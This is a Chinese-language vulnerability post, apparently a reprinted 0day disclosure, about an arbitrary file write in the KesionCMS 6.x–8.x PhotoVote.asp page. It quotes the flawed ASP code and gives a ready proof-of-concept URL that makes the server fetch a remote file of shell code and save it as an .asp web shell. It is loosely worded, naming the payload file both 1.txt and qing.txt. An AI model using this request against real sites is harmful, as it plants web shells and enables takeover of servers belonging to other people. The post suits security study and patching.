科讯 6.x~8.x getshell 0day
- 发表于
- Vulndb
未对提交参数判断,导致可以写任意文件到服务器上...
详细说明:
Wap/Plus/PhotoVote.asp 14 - 23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
Dim KS:Set KS=New PublicCls Dim ID:ID = Replace(KS.S("ID")," ","") Dim ChannelID:ChannelID=KS.G("ChannelID") If ChannelID="" Then ChannelID=2 If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then Response.write KS.G("LocalFileName")'错误提示 End If End If 代码略…… '================================================== '过程名:SaveBeyondFile '作 用:保存远程的文件到本地 '参 数:LocalFileName ------ 本地文件名 '参 数:RemoteFileUrl ------ 远程文件URL '================================================== Function SaveBeyondFile(LocalFileName,RemoteFileUrl) On Error Resume Next SaveBeyondFile=True dim Ads,Retrieval,GetRemoteData Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", RemoteFileUrl, False, "", "" .Send If .Readystate<>4 then SaveBeyondFile=False Exit Function End If GetRemoteData = .ResponseBody End With Set Retrieval = Nothing Set Ads = Server.CreateObject("Adodb.Stream") With Ads .Type = 1 .Open .Write GetRemoteData .SaveToFile server.MapPath(LocalFileName),2 .Cancel() .Close() End With If Err.Number<>0 Then Err.Clear SaveBeyondFile=False Exit Function End If Set Ads=nothing End Function |
上面的代码中这几句:
1 2 3 4 5 6 |
If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then Response.write KS.G("LocalFileName")'错误提示 End If End If KS.G("LocalFileName")和KS.G("RemoteFileUrl")仅仅是判断是否为空并过滤一些SQL字符然后就写文件了! |
漏洞证明:
登陆后访问:
http://127.0.0.1/Wap/Plus/PhotoVote.asp?LocalFileName=cc.asp&RemoteFileUrl=http://www.site.com/1.txt
成功会在Wap/Plus下写入cc.asp,并返回文件名,其中的qing.txt为shell代码。。
原文连接:科讯 6.x~8.x getshell 0day
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。